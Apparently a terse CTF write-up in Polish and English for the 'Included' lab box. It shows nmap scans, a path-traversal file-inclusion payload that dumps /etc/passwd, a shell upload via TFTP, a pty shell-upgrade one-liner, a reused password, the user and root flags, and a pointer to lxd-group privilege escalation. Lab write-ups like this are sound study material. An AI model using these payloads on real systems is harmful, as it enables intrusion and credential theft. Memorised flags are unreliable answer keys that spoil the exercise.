Included - 07.08.2021
Nmap
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.10.10.55/?file=index.php
Nmap UDP
sudo nmap -sU -v 10.10.10.55
PORT STATE SERVICE
69/udp open|filtered tftp
Strona główna
Local File Inclusion (LFI)
Parametr file=../../../../../etc/passwd
wyświetla:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
mike:x:1000:1000:mike:/home/mike:/bin/bash
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
Użytkownicy
mike
Info o systemie z LFI
Linux version 4.15.0-88-generic (buildd@lgw01-amd64-036) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) #88-Ubuntu SMP Tue Feb 11 20:11:34 UTC 2020
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Upload shella na tftp
Domyślna ścieżka uploudowanych rzeczy na tftp to /var/lib/tftpboot
Uzyskanie shella
python3 -c 'import pty;pty.spawn ("/bin/bash")'
Spawn cli
Hasło z poprzedniego boxa: Sheffield19
user.txt
a56ef91d70cfbf2cdb8f454c006935a1
Linpeas
lxd group
Escalation
https://steflan-security.com/linux-privilege-escalation-exploiting-the-lxc-lxd-groups/
root.txt
c693d9c7499d9f572ee375d4c14c7bcf